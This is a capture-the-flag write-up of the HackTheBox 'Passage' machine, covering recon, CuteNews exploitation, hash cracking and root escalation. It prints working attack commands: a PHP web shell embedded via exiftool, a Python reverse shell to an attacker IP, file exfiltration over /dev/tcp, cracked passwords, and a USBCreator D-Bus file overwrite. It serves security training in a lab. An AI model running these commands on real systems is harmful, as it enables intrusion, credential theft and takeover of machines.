Passage from HackTheBox hosts a news management software called CuteNews. The software is known to be vulnerable to a remote code execution, allowing me to gain code execution on the system via the avatar upload feature. Examining the source files of the software discovers a few password hashes that can be recovered using a dictionary attack. One of the recovered passwords can be used to escalate to a user. The user is using the same SSH key with another user. There is a unpatched package called USBCreator and it has vulnerability that allows an attacker to perform arbitrary file as root without supplying a password.
Skills Learned
CuteNews 2.1.2 exploitation
USBCreator D-bus exploitation
Tools
- Nmap
- hashcat (Windows) - https://hashcat.net/hashcat/
- Exiftool - https://exiftool.org/
- gdbus - Preinstalled in the target machine.
Reconnaissance
Nmap
An initial nmap discovers two open ports, SSH on port 22 and HTTP running Apache web server on port 80.
→ root@kali «passage» «10.10.14.31»
$ mkdir nmap; nmap -sC -sV -oN initial-passage -v 10.10.10.206
# Nmap 7.80 scan initiated Sat Sep 5 15:39:12 2020 as: nmap -sC -sV -oN initial-passage -v 10.10.10.206
Nmap scan report for 10.10.10.206
Host is up (0.074s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As SSH usually requires credentials, I’ll enumerate the web server on port 80.
Enumeration
TCP 80 - Website
The page presenting a kind of news website called “Passage News”.
The post titled “Implemented Fail2Ban” states that they have implemented the Fail2Ban feature. Knowing this, I will avoid any kind of brute force attack here.
Inspecting the page sources finds a directory called “CuteNews”. I also find the hostname passage.htb
.
Adding /CuteNews
to the URL redirects me to a login page.
I can register as normal user.
Searchsploit
I threw “CuteNews 2.1.2” to searchsploit
and it returned several exploits.
→ root@kali «passage» «10.10.14.31»
$ searchsploit 'CuteNews 2.1.2'
------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------- ---------------------------------
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit) | php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion | php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt
------------------------------------------------------------------- ---------------------------------
I’ll go with the ‘avatar’ RCE.
Foothold
Shell as www-data
CuteNews CVE-2019-11447
It turns out the ‘avatar’ RCE exploit was a CVE. The exploit module description as follows:
This module exploits a command execution vulnerability in CuteNews prior to 2.1.2. The attacker can infiltrate the server through the avatar upload process in the profile area. There is no realistic control of the $imgsize function in “/core/modules/dashboard.php” Header content of the file can be changed and the control can be bypassed. We can use the “GIF” header for this process. An ordinary user is enough to exploit the vulnerability. No need for admin user. The module creates a file for you and allows RCE.
I can also exploit this manually.
I still have the payload that I made using exiftool
in my previous Magic write-up. If I don’t have it, I can create a new one, embedding a PHP web shell as a comment.
→ root@kali «passage» «10.10.14.31»
$ exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' iamf.jpg
I’ll rename my jpeg image to iamfr.php
, and then I’ll upload it as my avatar (Dashboard –> Personal Options).
The image is located at http://passage.htb/CuteNews/uploads/avatar_iamf_iamfr.php
I’ll send a Python reverse shell through the web shell and capture it on my nc
listener.
http://passage.htb/CuteNews/uploads/avatar_iamf_iamfr.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.31",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
I have an interactive shell now.
→ root@iamf «passage» «10.10.14.31»
$ rlwrap nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.206] 37062
bash: cannot set terminal process group (1678): Inappropriate ioctl for device
bash: no job control in this shell
www-data@passage:/var/www/html/CuteNews/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@passage:/var/www/html/CuteNews/uploads$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@passage:/var/www/html/CuteNews/uploads$
www-data@passage:/var/www/html/CuteNews/uploads$ export TERM=xterm-256color
Privilege Escalation
Shell as paul
Internal Enumeration
There are two users in home directory.
www-data@passage:/var/www/html/CuteNews/uploads$ ls -l /home
ls -l /home
total 8
drwxr-x--- 17 nadav nadav 4096 Mar 5 09:21 nadav
drwxr-x--- 17 paul paul 4096 Mar 5 08:32 paul
On /var/www/html/CuteNews/cdata/users
, I finds a bunch of PHP files contains data encoded in base64. Some of the file contains PHP tags.
Apologize for the image quality (also for the white background), it was recovered from my KeepNote app.
I’ll send those files to my machine as one file using cat
and dev/tcp
trick
www-data@passage:/var/www/html/CuteNews/cdata/users$ cat *.php > /dev/tcp/10.10.14.31/9000
I redirected it to a file called cdata.users
.
→ root@iamf «passage» «10.10.14.31»
$ nc -nvlp 9000 > cdata.users
listening on [any] 9000 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.206] 55022
I can perform a bulk decode on the file contents after removing the PHP tags.
→ root@iamf «passage» «10.10.14.31»
$ cat cdata.users| sed 's/<?php[^>]*>//g' | base64 -d
cat cdata.users| sed 's/<?php[^>]*>//g' | base64 -d
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"ahaha@gmail.com";s:8:"ivanpogi";}}a:2:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}s:4:"name";a:1:{s:4:"debo";a:11:{s:2:"id";s:10:"1599412470";s:4:"name";s:4:"debo";s:3:"acl";s:1:"4";s:5:"email";s:13:"debo@debo.com";s:4:"nick";s:4:"debo";s:4:"pass";s:64:"b2cf7db7a51da35f8fa412f47f16cfea46090b75e399fde5ec6a0ec90250df52";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:6:"avatar";s:20:"avatar_debo_bash.php"
...<SNIP>...
And that was a mess.
Among these outputs, there is one that interesting.
...[SNIP]..."pass";s:64:"b2cf7db7a51da35f8fa412f47f16cfea46090b75e399fde5ec6a0ec90250df52"...[SNIP]...
hash-identifier
identifies it as SHA-256.
→ root@kali «passage» «192.168.43.234»
$ hash-identifier 84c7cd94cb0d818d27b16d4290d13703d380c54a4d3696fff4587b2862bf6068
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] SHA-256
[+] Haval-256
...<SNIP>...
It turns out that those exfiltrated files are how CuteNews stores its database (flat-file database, like /etc/passwd
).
Knowing that, I can add another filter using grep
to grab the password hashes.
→ root@kali «passage» «192.168.43.234»
$ cat cdata.users| sed 's/<?php[^>]*>//g' | base64 -d | grep -o -E -e "[0-9a-f]{64}"
b2cf7db7a51da35f8fa412f47f16cfea46090b75e399fde5ec6a0ec90250df52
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
231cd4eb21af3071fd441d5bb7e42dc5fd6f606cd20a8e3c158b7e7c2923f426
41e5653fc7aeb894026d6bb7b2db7f65902b454945fa8fd65a6327047b5277fb
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
03d09a66086da4ea6482d717ef1b33e23867afd965e2074e342584157393f91c
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
84c7cd94cb0d818d27b16d4290d13703d380c54a4d3696fff4587b2862bf6068
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9
59195c6c541c8307f1da2d1e768d6f2280c984df217ad5f4c64c3542b04111a4
Cracking the Hashes
hashcat
recovered five passwords.
$ ./hashcat.exe -m 1400 hashes/passage.hashes ../rockyou.txt -O --show
b2cf7db7a51da35f8fa412f47f16cfea46090b75e399fde5ec6a0ec90250df52:debo
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8:password
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd:atlanta1
e7d3685715939842749cc27b38d0ccb9706d4d14a5304ef9eee093780eab5df9:hacker
59195c6c541c8307f1da2d1e768d6f2280c984df217ad5f4c64c3542b04111a4:mario
SU - paul
I tried to spray the passwords on SSH, but it wanted an SSH key. I tried again with su
, and password atlanta1
worked on paul
.
www-data@passage:/home$ su paul
su paul
Password: atlanta1
paul@passage:~$
Shell as nadav
Shared SSH keys
Escalating from paul
to nadav
is pretty straight forward, I found out that user nadav
uses the same SSH keys as user paul
.
paul@passage:~/.ssh$ cat id_rsa.pub && cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
So I can just SSH from paul
to nadav
.
paul@passage:~/.ssh$ ssh nadav@passage.htb
Last login: Sun Sep 6 11:12:03 2020 from 127.0.0.1
nadav@passage:~$ id
id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
Shell as root
Internal enumeration
Since nadav
is a member of the sudo
group, I can just type sudo su
to escalate to root, but unfortunately it requires nadav
’s password.
So I looking around nadav
’s home directory, and there is a .viminfo
file (not sure if it’s from the box or other players).
The file contains the following information.
...<SNIP>...
# Command Line History (newest to oldest):
:wq
:%s/AdminIdentities=unix-group:root/AdminIdentities=unix-group:sudo/g
...<SNIP>...
# File marks:
'0 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
'1 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
# Jumplist (newest first):
-' 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 1 0 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-' 1 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-' 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-' 1 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
# History of marks within files (newest to oldest):
> /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
" 12 7
> /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
" 2 0
. 2 0
+ 2 0
The history of files points to these two configuration files:
/etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
/etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
The 51-ubuntu-admin.conf
defines there are only two groups that can be used for authentication when administrator authentication is needed, sudo
and admin
. This file is used by Polkit, which allows unprivileged process to communicate with the privileged ones. In the GUI, the prompt that asks you to enter a password when performing an administrative tasks are using Polkit.
nadav@passage:~$ cat /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin
I don’t really understand in depth about com.ubuntu.USBCreator.conf
. What I know is, this configuration file is used by a service called “com.ubuntu.USBCreator” that is owned by root. The ones that can invoke the methods on this service are constrained by PolicyKit/Polkit, and they are anyone in the sudo
or the admin
group (defined by the 51-ubuntu-admin.conf
file)
nadav@passage:~$ cat /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Only root can own the service -->
<policy user="root">
<allow own="com.ubuntu.USBCreator"/>
</policy>
<!-- Allow anyone to invoke methods (further constrained by
PolicyKit privileges -->
<policy context="default">
<allow send_destination="com.ubuntu.USBCreator"
send_interface="com.ubuntu.USBCreator"/>
<allow send_destination="com.ubuntu.USBCreator"
send_interface="org.freedesktop.DBus.Introspectable"/>
<allow send_destination="com.ubuntu.USBCreator"
send_interface="org.freedesktop.DBus.Properties"/>
</policy>
</busconfig>
From here, it looks only nadav
that can invoke the methods of this service
USBCreator D-Bus Interface Vulnerability
There is a research about a vulnerability in USBCreator D-Bus Interface, which can be used for local privilege escalation1. The research summary as follows:
“A vulnerability in the USBCreator D-Bus interface allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root - without supplying a password. This trivially leads to elevated privileges, for instance, by overwriting the shadow file and setting a password for root. The issue was resolved in June when Ubuntu patched the relevant packages in response to a vulnerability disclosure from Unit 42.”
The bug was first reported in 20162, and the affected Ubuntu version is 16.04.
The current machine is not an exact match, but since the vulnerability is patched in 2019, it may affect this version too.
nadav@passage:~$ uname -a
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Sun Sep 6 14:31:10 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Overwrite authorized_keys
One of the tools used by the researcher to exploit the vulnerability is a CLI-based called gdbus
.
With user nadav
, I can try to overwrite the authorized_keys file contents in the root directory with my public key.
I’ll put my public key named key
in /dev/shm/
, and then I’ll invoke the following command:
nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/key /root/.ssh/authorized_keys true
true
()
I tried to login as root using my private key, and it worked.
→ root@kali «passage» «10.10.14.31»
$ ssh -i root_rsa root@10.10.10.206
Last login: Fri Mar 5 17:33:39 2020 from 10.10.14.7
root@passage:~# ls -l
total 12
drwxr-xr-x 2 root root 4096 Jul 21 2020 exploits
-r-------- 1 root root 33 Mar 5 17:05 root.txt
root@passage:~#